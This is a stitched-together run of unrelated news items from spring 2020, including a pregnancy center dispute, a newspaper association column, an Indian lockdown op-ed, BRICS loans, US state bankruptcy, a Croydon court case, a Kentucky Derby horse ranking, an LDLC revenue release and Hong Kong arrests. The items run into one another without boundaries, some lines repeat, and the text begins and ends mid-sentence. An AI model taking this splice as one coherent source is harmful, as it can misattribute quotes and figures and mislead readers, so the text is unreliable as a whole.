neither did income. Our Gala was on March 5 and we were blessed with the largest evening offering in our history, Holmes said. We didn't hide the issue but took the initiative to inform our prayer partners and our financial supporters about the attack. We were greatly blessed by the response of UNC students and partners. The abortion advocacy group Truth4Greeley says on its website that they believe the Resource Center of Greeley is "abusing the trust of the communities they serve," and accuses the center of not being honest about their pro-life and religious views. "We want TRANSPARENCY in their advertising that proudly displays their religious affiliation, anti-choice agenda and limited STD testing," the group says. Editors Note: The Fairfield Sun Times is a member of the National Newspaper Association, which provided this column. Newspapers in the United States have traveled rough seas to the First Amendment freedoms we enjoy today. From the colonial Stamp Act through wartime censorship to today, when thousands of newspapers were slammed with the public health emergency known as COVID-19, people who work for newspapers have never had completely smooth sailing. Now most of the businesses that advertise with us are shut down. The pipeline to make our payroll shut down with them. People are restlessly waiting in their locked-down homes for us to bring the news nonetheless. Across the country, journalists and the thousands of people it takes to let them do their work from publishers to ad sales people to printers are figuring out ways to keep the news coming. We do our work as bravely as we can, even when we, too, are masked up and dodging possibly lethal infections. A disheartening chord is sounding here and there across Americas mournful song about this tragic era: why should Americans still support newspapers? Some in our business dont like the very notion of media. We newspaper folk argue that media is not us. We are the press, the ones mentioned in the Constitution. Even so, we know some people dont trust even us, though we work and play and worship and vote in our own communities. Distrust and dissension are making this tough era even tougher. Let us speak our piece here. We are not driven by ratings. We cover events and issues and write the news as best we can in the worst of times. We do have to have revenue to pay people, just as the even braver front-line hospitals, ambulance companies and urgent care centers do. We are large and small, owned by local owners or sometimes people from far away. But in most small communities, the newspaper is a hometown thing. Were here to cover the news, love us or hate us. Through our national organizations, were asking Congress to give us a little support. We need those federal advertising messages to go into the local paper, not onto Facebook or Instagram. We need the short-term payroll loans to pay our staff and cover printing costs for a while. If these are bailouts or handouts, they are no more so for us than for the millions of other businesses covered by Congresss $2 trillion stimulus bill. Yes, we are worried about federal debt. But if the economy collapses, the debt will surely spiral out of control. We need to get through this time and tighten our belts, just as we have through two World Wars, terrorist attacks and other epidemics. Are we worth the investment? You tell us. Without journalism, how does this bold 244-year experiment in self-government continue to work? We arent perfect, nor is democracy. But it is the best we have. Matthew Adelman, publisher of the Douglas (Wyoming) Budget, is the president of the National Newspaper Association, which represents community newspapers such as this one across the U.S. India has a whopping 54.6 million people with heart disease, 83 people per lakh population have cancer. When Julius Caesar attacked the Gallic countries in 58-52 BC, Gallic leader Vercingetorix gathered the Gauls and led a fightback. By 52 BC he locked down himself at a fort in Alessia expecting Caesars forces to recede or help from outside to arrive, none of which materialised fruitfully, and Vercingetorix had to surrender finally to stop the collateral damage. The strategic lockdown proved a trap and the battle was lost and the Gallic lands of France and Denmark came under the Romans. A lockdown is a tactical weapon to buy time, and it is not a measure to win a battle. To fight a virus we initiated a lockdown, intended at curbing its spread, not at defeating it. It has its collateral damages. We are already more than a month into lockdown, and it is only getting stiffer, with places like Delhi-Noida border not even allowing non-COVID duty doctors and nurses to pass through. From a healthcare point of view, the price of a month-long lockdown was not cheap, and any extension with strict measures would be particularly difficult on a certain patient population, so much that they may end up as collateral damage of this war effort on the virus. The patient population in focus is the one that falls in the grey zone between emergency and elective or by choice. This is the patient population that is not needing emergency life-saving care but are not actually elective, given that they have a disease condition in which delay can diminish the chance of survival considerably. Diseases like cancer, heart disease, dialysis requirements, liver failure etc. cant keep waiting for the lockdown to end. The Institute of Health Metrics and Evaluation, a global health research centre, finds that the top causes of death in India are disorders of a newborn child and heart diseases. Chronic respiratory diseases and stroke also figure prominently in the list. According to our own ICMR cancer registry India has about 1,300 deaths every day from cancer, and about 200 people per lakh population die of heart disease daily. India has a whopping 54.6 million people with heart disease, 83 people per lakh population have cancer. These are numbers for just two conditions for which comprehensive care is not possible in a district hospital and patients need to travel to a specialised centre. With time-sensitive treatment requirements in these diseases, a delay is a likely cause of the poor outcome. There are more health conditions, many with multiple organ system involvements, that need continuous high-quality care through tertiary care centres. Telemedicine is not an alternative to actual patient care in a health institution. The lockdown has definitely put this patient population at disadvantage by restricting their travel to hospitals, availability of drugs and medical and surgical care, etc. The premise for the lockdown that a very large number of patients with COVID-19 may overwhelm healthcare facilities leading to an unacceptable number of deaths may be true, but it is still a probability and not a real event, while the existing non-COVID patient population is real, at-risk and sizeable, and need immediate attention. Click here for Coronavirus Outbreak LIVE Updates The COVID-19 and the lockdown is a peculiar situation in that in the abundance of doctors, hospitals are finding themselves with a reduced workload. This is an actual wastage of precious resource that a country like India cannot afford. For example, in India there are about 1,30,000 patients needing dialysis, about 60,000 heart surgeries are done every year, lakhs of cancer patient get surgery, chemotherapy or radiotherapy every month. Some of these patients would die and others would have their treatment delayed. In addition, lakhs of prostate and gall bladder and uterus are operated on, knees and hips are replaced, and the list of this kind of elective cases would cause a backlog that would need months or maybe a year, to clear. Any further extension of the lockdown without considering the fate of this patient population would lead to an inexcusable number of lives being lost, and the irony is that these would not even count as death as a consequence of the pandemic! The other important healthcare-related aspect of the lockdown is community health. With the weakening of the financial structure of the country and the increase in the incidence of poverty due to loss of job and income, malnutrition and related problems are bound to increase. India dropped to 102nd position in global hunger index in 2019, and 20.8 percent of Indian children are already undernourished. The Centre for Monitoring Indian Economy states that the countrys unemployment rate is at 8.4 percent in March 2020. These are not healthy figures, and any extension of the lockdown is likely to aggravate these numbers. As the summer approach, India is also at the cusp of the yearly escalation of diseases like Dengue, Japanese encephalitis, meningococcal meningitis, malaria, infective hepatitis and diarrheal diseases in the endemic areas. There is a possibility that public health authorities are too engaged with COVID-19 and the appropriate measures like mosquito control etc., fogging are taking a back seat. This can be a dangerous situation, with access to healthcare facilities already becoming difficult for the non-COVID patients due to the lockdown the recognition of another epidemic that we normally control well may be delayed and cause many causalities. There is a continued need to maintain vigil and preventive measures against the COVID-19, and there is little possibility that the threat from COVID-19 is likely to abate in the short run. As such, we need to formulate measures to continue with life in a sustainable way in the presence of the virus in the society. Till an effective vaccine is available we are unlikely to have a decisive victory against this virus. One solution can be opening up the minimally affected regions like the northeastern states or the states that have effectively controlled the virus spread while maintaining restrictions on free movement and non-essential activities, dividing localities to zones and increasing testing facilities so that testing can be done in a goal-directed way targeting the red zones. There should be a provision of pass for patients in need of medical care so that they can travel. A blanket ban on travel and suspension of all means of mass transport is proving counterproductive and there has to be opening up of transport facilities in a limited, safe mode to allow for essential travel. Public health measures need to be boosted up to prevent other seasonal communicable diseases to avoid added burden on a health system already under stress. There is the urgent need to have an exit plan from the lockdown due to end on 3 May, and any exit plan needs to consider how food is going to reach the hungry, money reaches the poor, and medical services reach the patient. The question is not only of maintaining essential services, but there is also a need to do more to ensure the strategic lockdown itself doesn't give suffering and deaths and be the cause of our defeat. The author is a consultant in anesthesiology at a private hospital in Delhi-NCR. By Associated Press MOSCOW: The New Development Bank will allocate up to USD 15 billion for loans to help the so-called BRICS nations - Brazil, Russia, India, China and South Africa - boost their economies amid the coronavirus pandemic, Russia's foreign minister said on Tuesday. "We believe that it should become a very good reinforcement for our countries' economies when they're coming out of the crisis stage and resume economic operations," Sergey Lavrov told reporters after a meeting of BRICS foreign ministers dedicated to the virus outbreak. The pandemic has dealt a shock to the global economy, with governments all over the world taking measures to soften the blow. ALSO READ| BRICS countries should 'do right thing' amid COVID-19 outbreak: China The international community should unite to "ensure the most positive outcome of our efforts for our countries and our citizens," Lavrov said on Tuesday. He said these efforts are being undermined by sanctions imposed on countries and that the sanctions should be lifted. "We support the plea of the UN Secretary General and the UN High Commissioner on Human Rights to, at least suspend, and at best lift, these unilateral sanctions, imposed in contravention of the UN," Lavrov said. The US and EU sanctions, imposed in response to Russias 2014 annexation of Ukraines Crimea and support for a separatist insurgency in eastern Ukraine, have limited Russias access to global financial markets and blocked transfers of Western technologies. Russia responded by banning imports of most Western agricultural products. Chinese Foreign Minister Wang Yi echoed Lavrov's call for unity. In a statement released by the ministry, Wang said that the BRICS nations should "stand firm by multilateralism, by the UN-centered international system" and "champion the approach of consultation and cooperation". ALSO READ| COVID-19: India extends USD 150 million foreign currency swap support to Maldives "Through joint efforts, we will safeguard the legitimate rights and interests and space for development not just for ourselves but also for all other emerging market and developing countries," the minister said. States are facing their biggest fiscal crisis since the Great Depression, with revenues plunging as obligations soar. Senate Majority Leader Mitch McConnell suggested that state bankruptcy filings should be considered as an alternative to further federal bailouts. Reality check: States cannot currently file for bankruptcy, unlike cities and towns. McConnell said last week he's "in favor of allowing states to use the bankruptcy route," but hasn't proposed legislation to enable it. Yesterday he said he'd also consider additional federal aid to states and cities, but only in exchange for business liability waivers. President Trump tweeted that he's "open to discussing anything," but only in the context of a partisan argument about how only "Democrat run and managed" states want federal help (which is not true). Bankruptcy, were it legal, wouldn't even help states get through this crisis. wouldn't even help states get through this crisis. Bankruptcy is about an inability to repay debts. The states' current predicament is centered on an inability to fund their essential services. Debt default is not really a viable alternative for states. Debt service payments don't make up enough of states' budgets to make default worthwhile. Interest payments tend to account for about 5% of a state's total budget. When Arkansas defaulted on its bonds in 1933, by contrast the only time that a state has defaulted in the past century debt service payments were more than half its total budget. In the event of a default, bondholders would sue the state and almost certainly get a court judgment allowing them to collect. Between the lines: Many Republican lawmakers tend to like the idea of state bankruptcy because it's the only way to forcibly renegotiate contracts and pension agreements entered into with public-sector unions. But, again, it's not currently legal. The big picture: Most states must balance their budgets, including for the fiscal year scheduled to end on June 30 (except for New Jersey, which just moved it back to September). All states but Vermont have balanced budget requirements, although not all such requirements are enshrined in the state constitution. What to watch: If federal aid does not arrive, states will have to make extremely painful budget cuts, or violate their balanced-budget rules, or both. The bottom line: States urgently need cash. The federal government is best placed to provide it. Go deeper: The next economic crisis will hit states and cities Editor's note: This story has been corrected to state that Arkansas (not Alabama) defaulted on its bonds in 1933. A 23-year-old who spat at police officers' faces in south London and claimed he had coronavirus blamed his behaviour on being stressed. Karan Singh, of Homestead Way, Croydon, was jailed at Croydon Crown Court on Friday. He admitted three counts of assault on an emergency worker, use of threatening or abusive words or behaviour, and possession of cannabis. Singh was sentenced to four months in prison, with another four months to run consecutively for breaching a previous suspended sentence. The Metropolitan Police said that officers saw Singh in a car on a driveway in Lower Addiscombe Road, Croydon, on March 14, despite being disqualified from driving. When they began speaking to him, they noticed a strong smell of cannabis, and as they prepared to start searching the car he made a bungled attempt to drive off, stalling the engine. Ten snap bags of cannabis were found in the car. In custody, Singh hurled abuse at interviewing officers, and struggled with three of them as they tried to take him back to his cell. He spat in their faces, telling them that he had Covid-19. Later, he said that he did it because he had been waiting for hours and got stressed out. Singh admitted that he had lied about having the virus, and apologised to the officers, one of whom had to go to hospital for checks. Superintendent Dan Knowles, from the Mets South Area Command, said: It is never acceptable to spit at an emergency worker, whether it is during these unprecedented times or not. Singh carrying out this vile act and then lying about having coronavirus was a deplorable thing to do and it caused a great deal of distress for the officers and staff who were just trying to do their job and keep London safe. 1 Tiz the Law Barclay Tagg ConstitutionTizfiz, by Tiznow Derby horses normally are geared up to peak on the first Saturday in May and no horse would have been ready for a peak performance more than this horse, who would have gone into the Derby checking off every box. Now, no one really knows for sure where he'll be 3-4 months from now after letting down and then having to gear back up again. With Derby Dozen winding down, I can say in all certainty that no horse has come even close to taking the No. 1 spot away from him. He remains in steady training, breezing a half in :49 3/5. 2 King Guillermo Juan Avila Uncle MoSlow Sand, by Dixieland Band I am moving him way up in anticipation of a huge effort in the Arkansas Derby (G1). All signs point to him being sharp and fit and ready to run a corker. I also moved him up over the others because the Arkansas Derby is an important race, serving as a much-needed bridge between the winter and summer to help him keep his form. He did draw into the tougher division on paper and if he can still live up to expectations and defeat these horses, then the skys the limit and he will be the first horse to possibly challenge Tiz the Law for the top spot. He should be stalking the leaders and well see if he can turn it on like he did at Tampa. 3 Maxfield Brendan Walsh Street SenseVelvety, by Bernardini No horse would appreciate a return to racing in Kentucky more than him, as indicated by his five-furlong work at Keeneland in a sharp 1:00 2/5. All we need to see from him after all these months is if that explosive turn of foot is still there and if he can sustain it. Just don't expect too many fireworks first time out. The acceleration is the key. With him it is all about where he will be this summer and on Sept. 5. The only question he has to answer right now is if he still has the same weapons he did last year. 4 Authentic Bob Baffert Into MischiefFlawless, by Mr. Greeley Thank goodness this is the last time I have to try to figure out what to say about him, so I will just reiterate that the brilliance, the talent, and the visuals are all there. But with a pedigree that doesn't exactly shout a mile and a quarter and having shown only one style of running, he needs to use this time off and perfect that long effortless stride of his. And that is what he has going for him and what he will need to get that extra eighth of a mile. He went from being the Santa Anita Derby (G1) favorite to taking an unexpected vacation courtesy of the Los Angeles County Department of Health. As a late foal, this at least will give him time to mature and grow and work on whatever quirks he has shown in the past. He returned to the work tab just to stretch his legs, breezing an easy half in :51 1/5. 5 Sole Volante Patrick Biancone KarakontieLight Blow, by Kingmambo Its too bad Biancone decided to pass the Arkansas Derby because both divisions look as if they should have a fast pace, especially the second division with the top choices all eyeballing each other. Even in the first division he likely would have blown by most of these horses and would have been just fine with a second to Charlatan if the favorite got loose on the lead and didnt come back. With his running style, he wont get many opportunities like this one with such fast horses dictating the pace. So all he can do now is hope for a Churchill Downs opening in the not too distant future. I still love what Ive seen so far. 6 Gouverneur Morris Todd Pletcher ConstitutionAddison Run, by Unbridled's Song This is the day of enlightenment for him, as we finally get to see him at his best, with the experience and foundation he might have lacked earlier. Once again, he doesnt need to win to prove himself. He drew in against Charlatan, who breaks from the rail and will be the controlling speed. If Charlatan opens up and proves too tough to catch so be it. He just needs to track him and be close at the finish, coming home with good energy. But we still dont know how good he is coming off a bad trip in the Curlin Florida Derby (G1). If he is as good as I think he is I certainly would not be surprised if he won. It is just about strategy. Do you press the lightly raced Charlatan and hope he cracks or do you play it safe and chase him and make sure you don't cost yourself second? I don't see him letting Charlatan get too comfortable out there. 7 Honor A. P. John Shirreffs Honor CodeHollywood Story, by Wild Rush The only reason he dropped a few places is because we are giving preference to horses running in the Arkansas Derby and we have no idea when he will be able run next. After everything is sorted out this weekend he likely will move back up. Shirreffs continues to work him long, as if he is hoping for a race in the near future. In his latest work, he looked good visually, but with his stride, you can never tell how fast he's going. This time he looked like he was going slow and actually was, breezing his seven furlongs in a leisurely 1:31 on a loose rein down the stretch. All I know for sure is that he needs a race. 8 Charlatan Bob Baffert Speightstown Authenticity , by Quiet American Talent-wise and speed rating-wise he towers above the others in his division, but still hasnt been tested for class. You know he is going to come busting out of there from the rail and looks as if he will have complete control of the pace. Although it puts him in the proverbial driver's seat, from the standpoint of the Kentucky Derby the last thing you want to see is for him to inherit an easy lead and just cruise around there. We will learn nothing from that. We already know he is deadly on the lead and this is not exactly a tough spot for a horse with two career starts and coming off an allowance victory to jump into a grade 1 stakes. At some point it is hoped we will see what he is capable of coming from off the pace. For now, he has the rail and you have to figure he will take advantage of it. Nadal Bob Baffert BlameAscending Angel, by Pulpit Interesting that the ownership of Charlatan has a speed horse in the Arkansas Derby who really doesnt seem to belong, Saratogian, and he breaks inside speedsters Nadal and Wells Bayou, and might been the one to assure a split race. What a perfect opportunity for Nadal to show he can rate off the pace. If he does and wins he also is right up there for No. 1. Sure he can try to outrun Wells Bayou and the pace pressers; we know he is fast enough to do so. But the way Baffert has been working him way behind his workmates and not making his move until the final eighth, it would seem a waste not to try those tactics in here. All he needs right now is to allow his stamina-laden pedigree a chance to come out and make him look a Derby horse. 10 Farmington Road Todd Pletcher Quality RoadSilver La Belle, by Langfuhr Well, what do you know, he drew an outside post again. I hope this time the rider (back to Javier Castellano) eases him inside and not darts sharply across the track to get to the rail, which is wasted energy and often puts a horse down on the inside without a clear path. When position is so important for a horse like this, why be running horizontally instead of vertically? He should get a great setup with a fast, contentious pace to at least pick up a piece of it. But it wouldnt come as a surprise if he mows them all down. He likely will be far back again because of his post, but remember, his best Equibase speed figure by far was when he was only two to three lengths off the lead in a Tampa Bay allowance race in January, so he is no plodder. He really poured it on late in the Oaklawn Stakes and just needs a little luck and a good trip. This is your longshot pick, who likely would be third choice in the other division. 11 Mr. Big News Bret Calhoun Giant's CausewayUnappeased, by Galileo With such a big jump in his Thoro-Graph numbers in the Oaklawn Stakes, it is understandable why his connections elected not to rum him back in three weeks. He has a solid enough foundation with five two-turn races under him, so he can afford to sit back for a little while and gear up for a summer campaign. He surely has the pedigree, but we need to see him put together back-to-back big efforts. 12 Major Fed Greg Foley GhostzapperBobby's Babe, by Smart Strike Yes, hes back in the Top 12 again. After working five furlongs in a sharp 1:00 3/5 this past weekend he looks to be sitting on a race. He was given a little breather after the TwinSpires.com Louisiana Derby (G2) and is happy and healthy and will be ready for action once Churchill Downs opens. He is one horse you know for sure will relish the 10 furlongs. KNOCKING ON THE DOOR On this years crazy Derby trail where we get Hot Springs instead of Hot Browns and where they will run for the apple blossoms instead of the roses, lets take a look at the Arkansas Derby. Of the 22 horses entered, 14 have never won a stakes, and of the eight that have, six of them are in the second division. Of the two stakes winners in the first division, one won the Clever Trevor Stakes at Remington Park last year and has been beaten a total of 55 lengths in his last three races, and the other won the Runhappy Hopeful Stakes (G1) last year, but has been beaten a total of 13 lengths in his two starts this year. I thought a split race would be packed with Derby contenders, but now I feel the split hurts the overall quality, especially with the seemingly imbalance of talent in the two divisions. Another wire-to-wire romp by Charlatan really would not prove much when it comes to winning the Kentucky Derby. The question pertaining to the Derby Dozen is how close Gouverneur Morris can get to him, and whether he can actually beat him. On speed figures, Charlatan is way faster than anyone else in the field. As mentioned earlier, the fact that the owners of Charlatan entered another horse who really doesnt belong in this field, having been beaten 13 lengths at 59-1 in his last start, may very well have enabled Charlatan to get in the race if Oaklawn had stuck to their statement that they would only split the race if 22 entered. Considering the horse in question, Saratogian, is trained by a different trainer makes this a very strategic move that may have, at least for the moment, altered the course of Charlatans career. In the second division, you have one grade 1 winner and four grade 2 winners, as well as the only two horses to finish ahead of Derby favorite Tiz the Law. Although the second division is by far the strongest on paper, many times you find the so-called weaker division proves to be the tougher one to win and produces the better horses in the long run. But depth-wise, the second division looks far stronger. So well see just how both these races play out before judging their quality. Maybe Gouverneur Morris runs lights out or maybe Anneau dOr returns to his form from the TVG Breeders Cup Juvenile (G1) and Los Alamitos Futurity, despite the winners of those races being disappointments this year. Maybe Basin returns to his grade 1-winning form from last year when he romped in the Hopeful Stakes. Its all unlikely, but possible. One thing that is always frustrating when discovering new Derby hopefuls is to be very impressed with a horse, who looks to have all the tools but has a questionable pedigree to go along with it. The latest case is DR POST, who got more experience in one race than most horses get in three or four races. To overcome the rough and unsightly trip he had in the Unbridled Stakes in his two-turn debut was a testament to the colts toughness, professionalism, and ability to get out of trouble. This was a bumper car trip where he was in such tight quarters for quite a long way, Irad Ortiz was pretty much erect in the saddle trying to keep him from caroming off the horses inside and outside of him and running up on the heels of the horses in front of him. How he was able to withstand that and extricate himself from such a dangerous predicament and still win with his ears pricked was pretty remarkable. He is by the successful sire Quality Road, who was best from a mile to a mile and an eighth and whose top offspring have been effective at a mile and an eighth and shorter. R Posts dam was a sprinter and his broodmare sire Hennessy has been a speed influence. He also traces to some speedy fillies. If he is to go classic distances he will have to take advantage of being inbred three times to Secretariat. His third dam is by Seattle Slew and Hennessys broodmare sire is the long-distance grass champion Hawaii. Well see what he does in his next start, which likely will be at a mile and a eighth and then well know more about him. For now, you have to like this colt a lot. He joins PNEUMATIC, MYSTIC GUIDE, and SONNEMAN as my four top late bloomers to watch come September. Another to watch, HUNT THE FRONT, runs in a mile and an eighth maiden race Arkansas Derby day trying to break his string of three straight second-place finishes. Two others who could have a future are the Chad Brown-trained BASQUIAT and the Todd Pletcher-trained ASHIHAM, who both looked promising finishing first and second, respectively, in a seven-furlong maiden race at Gulfstream. But they have a lot of catching up to do, even with the late date of the Derby. Although EIGHT RINGS disappointed yet again in the Bachelor Stakes at Oaklawn, won in gutsy fashion by the speedy LONG WEEKEND, I dont believe he wants any part of six furlongs, considering his pedigree is all stamina. Right now he just needs a confidence builder. ATTACHMENT RATE still refuses to change leads. I would have given him a mulligan for his defeat to Dr Post after he was kept five-wide going into the first turn and raced wide the whole way, but as long as he doen't change leads in the stretch it's too risky keeping him in the top 12. It's too bad because I think he's a talented horse.Maybe he will benefit from the Derby delay and the light will go on before then. Getting back to the second division of the Arkansas Derby lets not forget the two most accomplished horses in the field who both will be long odds, SILVER PROSPECTOR, winner of the Kentucky Jockey Club Stakes (G2) over Tiz the Law and the Southwest Stakes (G3) over Wells Bayou, and STORM THE COURT, champion 2-year-old and winner of the Breeders Cup Juvenile (G1). If youre looking for back class you wont find two better horses. Silver Prospector is a grinder with a closing kick who had a ton of trouble in the Rebel Stakes (G2) after making a good move to reach contention. In his last six starts, he has won every other start, so he is due. Storm the Court needs to find an effective running style. He has early speed, but wont have the lead this time, and he hasnt proven he can come home laying off the pace. But he runs hard every time and gets Flavien Prat back. Well find out more about WELLS BAYOU after he faces pace pressure from top-class horses for the first time. He had things his own way on the front end in the Louisiana Derby. Now he will have to work out a trip from post 11. But at least he has won going 1 3/16 miles. And you can add the one-eyed FINNICK THE FIERCE, runner-up in the Kentucky Jockey Club Stakes and a winner by disqualification in an allowance race last time out. And this is just the second division. The mystery horse in the first division is ANNEAU DOR, who was considered one of the brightest prospects after dropping nose decisions in the grade 1 Breeders Cup Juvenile and Los Alamitos Futurity. But he ran an atrocious race in a division of the Risen Star Stakes. Was it too bad to be true? He has turned in some impressive works going long and if youre willing to cross out that last race you could wind up with a huge overlay. WINNING IMPRESSION, who was disqualified from first last time out, and is coming off four straight solid performances looks to be coming into his own. MY FRIENDS BEER is coming off a good third to Pneumatic and has been in the money in his last six starts, including a second in the Private Terms Stakes at Laurel. For another huge bomb to hit the board, there is CRYPTO CASH, who has excelled on dirt, grass, and synthetic, and has shown a good closing kick. All these are given some kind of shot to make their presence felt because they dont have nearly as many top-class horses to beat in this division. There are several other 3-year-olds to watch on the Arkansas Derby undercard. GINOBILI, beaten three-quarters of a length by Nadal in the San Vicente, stretches out to two turns going 1 1/16 miles. In the same race, Fasig-Tipton Fountain of Youth (G2) runner-up CANDY TYCOON, tries to bounce back from a bad defeat in the Florida Derby, in which he had his share of trouble. PRODIGIOUS BAY attempts to duplicate his impressive front-running maiden score. And BACKGROUND hopes for the fast ground he got when he broke his maiden by 4 1/2 lengths. Finally, if VENETIAN HARBOR wins the Fantasy Stakes (G3) impressively, dont be surprised to see her enter the Derby discussion. She does have major speed influences top and bottom, so well have to see how far she can carry that speed. Q4 REVENUES OF 120.7M, DOWN 5% IN THE CONTEXT OF COVID-19 BTOC BUSINESS UP IN H2 2019/2020 Olivier de La Clergerie, LDLC Group CEO, said: "FY 2019/2020 was particularly intense for the Group. We successfully conducted a number of essential strategic projects for the future, such as repositioning our offers and expanding them through the recent acquisition of Top Achat. The current financial year has also confirmed the buoyancy of our BtoB business, which posted revenue growth in the second half despite the health crisis impacting a number of our businesses towards the end of the period. We are confident in the Group's ability to post EBITDA of over 14m for FY 2019/2020 and thereafter maintain the profitable growth trajectory initiated in recent months. Backed by fundamentals that are stronger than ever, the Group is confident in its ability to pull through the current health crisis and take full advantage of the return to a more conducive business environment." CONSOLIDATED REVENUES (1 APRIL TO 31 MARCH) - UNAUDITED m 2019/2020 2018/2019 Change (%) Q1 revenues 103.7 109.1 -4.9% Q2 revenues 118.3 125.5 -5.7% Q3 revenues 150.6 145.8 +3.3% Q4 revenues 120.7 127.1 -5.0% 12-month revenues 493.3 507.5 -2.8% Corporate data: Q4 revenues 105.8m, 2019/2020 full-year revenues 420.7m. Q4 revenues of 120.7m impacted by the health crisis Q4 2019/2020 revenues reflect the contrasting impact of the current health crisis on the Group's business lines. The BtoB business generated revenues of 36.9m compared to 41.0m in Q4 2018/2019. Store revenues fell 3% in Q4 2019/2020 to 15.6m. Following the lockdown measures implemented across the country, the LDLC Group temporarily closed most of its stores. Only 10 of network's 51 stores are currently open to the public, in strict compliance with the recommended protective measures. The online BtoC business posted quarterly revenues of 61.7m comparable to the same period last year. Online sales increased substantially. However, at 31 March 2020, the Group faced delays in customer invoicing due to calendar effects and the impact of the health crisis on the logistics chain. Overall, the BtoC business generated Q4 revenues of 82.1m (84.0m in Q4 2018/2019). FY 2019/2020 revenues of 493.3m (down 2.8%) in line with the Group's expectations BtoC business posted full-year revenues of 323.5m compared to 335.9m in 2018/2019. As announced earlier, H1 2019/2020 was adversely impacted by the now completed strategic repositioning of the Materiel.net offer (impact of 18.6m). Excluding Materiel.net, BtoC business posted revenues of 236.0m, up 2.7% over the previous year. LDLC.com store revenues rose sharply by 11.2% to 66.7m. BtoB business posted revenues of 162.3m for FY 2019/2020, comparable to the previous year's revenues. This business, up 3.5% for the first nine months of the year, has been particularly impacted by the general economic slowdown since the application of lockdown measures in France. Other businesses (excluding Maginea) posted total full-year revenues of 7.5m, up from 7.1m in 2018/2019 mainly due to a strong performance from L'Armoire de Bebe in childcare products. Latest news and forecasts COVID-19 UPDATE To date, the impact of the COVID-19 epidemic on the LDLC Group's business lines has been extremely varied. While the stores and BtoB entities are witnessing a temporary but substantial decline in business, online stores are fully operational and enjoying steady demand, although the logistics situation has been somewhat disrupted. As regards supplies, the LDLC Group has the necessary stocks and supply chains to meet demand. In spite of this exceptional situation, the Group considers that it can leverage the right positioning of its offer and its range of businesses (distribution chain, BtoB, online BtoC) to avoid a significant impact on its overall business. The LDLC Group has taken all the necessary steps to ensure its operations run smoothly and is providing support to its franchisees to ensure timely re-opening of the store network. SUCCESSFUL ACQUISITION OF TOP ACHAT On 10 April 2020, the LDLC Group closed the acquisition of Top Achat's business assets from Rue Du Commerce. The business activity of Top Achat, which posted 2019 revenues of over 90m, is fully in line with the Group's strategic positioning as a specialist multi-brand retailer. This merger is already fully operational and will be a source of additional opportunities and synergies for the new structure. CONFIDENCE IN PROFITABLE GROWTH TREND In the last 18 months, the Group has implemented a number of strategies (repositioning of Group web brands, in particular Materiel.net, development of the store network, termination of physical retail operations in Spain, acquisition of Top Achat) and is now reaping the benefits. Spurred by the success of its actions, the LDLC Group today announces an EBITDA target of over 14m for FY 2019/2020. Due to its successful positioning as a specialist multi-brand retailer, the Group is now on a profitable growth trend driven by a structural hike in its normal gross margin rate and the impact of its operating expense optimisation policy. Provisional 2020/21 publications Publications Dates Meeting Q1 2020/21 revenues 23 July 2020 Annual General Meeting 25 September 2020 Q2 2020/21 revenues 29 October 2020 H1 2020/21 results 3 December 2020 4 December 2020 Q3 2020/21 revenues 28 January 2021 Q4 2020/21 revenues 29 April 2021 2020/21 full-year results 17 June 2021 18 June 2021 *Publication after market close Next release: 18 June 2020 after market close, 2019/2020 earnings GROUP OVERVIEW The LDLC Group was one of the first to venture into online sales in 1997. As a specialist multi-brand retailer and a major online IT and high-tech equipment retailer, the LDLC Group targets individual customers (BtoC) as well as business customers (BtoB). It operates via 15 retail brands, has 7 e-commerce websites and close to 1,000 employees. Winner of a number of customer service awards and widely recognised for the efficiency of its integrated logistics platforms, the Group is also developing an extensive chain of brand stores and franchises. Find all the information you need at www.groupe-ldlc.com ACTUS Investor & Media Relations Olivier Lambert / Marie-Claude Triquet olambert@actus.fr - mctriquet@actus.fr Tel.: + 33 (0)4 72 18 04 93 ------------------------ This publication embed "Actusnews SECURITY MASTER ". - SECURITY MASTER Key: nJpqZpxuk2bKyJ5tY5WYapRmbGpix2aWamGdm2ZoYpzIZ3KWxZiVbpyVZm9klmxs - Check this key: https://www.security-master-key.com. ------------------------ Copyright Actusnews Wire Receive by email the next press releases of the company by registering on www.actusnews.com, it's free Full and original release in PDF format:https://www.actusnews.com/documents_communiques/ACTUS-0-63176-groupe-ldlc-280420-ca-1920-gb.pdf The push for more state freedom in spending the first batch of money allocated by Congress last month comes as the clash intensifies over whether states should get hundreds of billions of dollars more in the next stage of emergency legislation or whether there should be another recovery measure in the short term at all. Senator Mitch McConnell, Republican of Kentucky and the majority leader, suggested last week that he would resist more state aid and said he wanted to push the pause button on new legislation. But on Monday, illustrating the pressure to help local governments, he seemed to backtrack in an interview on Fox News Radio, saying his initial comment was meant as a reminder that some states had fiscal issues before the pandemic. There probably will be another state and local funding bill, but we need to make sure that we achieve something that will go beyond simply sending out money, Mr. McConnell said. Other Republicans have joined with Mr. McConnell, saying they worry that states will take advantage of the opening to obtain federal money to resolve longstanding fiscal problems such as shortfalls in public employee pension funds. Its not fair to the taxpayers of Florida, Senator Rick Scott, Republican of Florida and a former governor of the state, told reporters in the Capitol on Monday. We sit here, we live within our means, and then New York, Illinois, California and other states dont. And were supposed to go bail them out? Thats not right. Arrests of pro-democracy activists, warnings from China shake up Hong Kong as the coronavirus keeps protesters at home. Hong Kong Mass arrests in recent days have reignited talks of large protests returning in Hong Kong, as police targeted prominent pro-democracy figures involved in last years protest movement. Over the weekend, demonstrators defied government-mandated distancing measures, protesting inside a mall in what is likely to become a trend in the lead-up to the citys Legislative Council (Legco) elections in September. On April 18, 15 prominent pro-democracy figures were arrested for participating in protests last year, including 71-year-old media magnate Jimmy Lai and the citys Father of Democracy and founding member of the Democratic Party, Martin Lee, 81. Following Lais arrest, Lee said he could sense police would be after him, too. After a Saturday morning trip to the Peak for exercise and breakfast with his wife at Hong Kong islands highest hill, Lee he was left thinking what to do for the rest of the day. The police provided me with the answer they told me what to do, he told Al Jazeera, describing the moment seven officers arrived at his door with a search warrant. At a time when governments around the world have started to release some prisoners and detainees for humanitarian reasons due to the coronavirus outbreak, police arrested Lee on two offences: organising an unauthorised assembly on August 18 last year, and participating in the same event. I think a lot of people will be very disillusioned when they arrest even mild protesters like us, who have never used any force, he said. Coronavirus damaging Chinas reputation While COVID-19, the disease caused by the coronavirus, has kept demonstrators at home, protest sentiment in Hong Kong has remained visible in the form of support for pro-democracy businesses and social media activism. But in the days following the arrests, anger has spilled back onto the streets. Anthony Dapiran, author of City on Fire: The Fight for Hong Kong, said that, while he is unconvinced the virus has been used as a cover for a legal crackdown in Hong Kong as some have suggested, he believes a crackdown was always inevitable. Hong Kong media tycoon Jimmy Lai, centre, who founded local newspaper, Apple 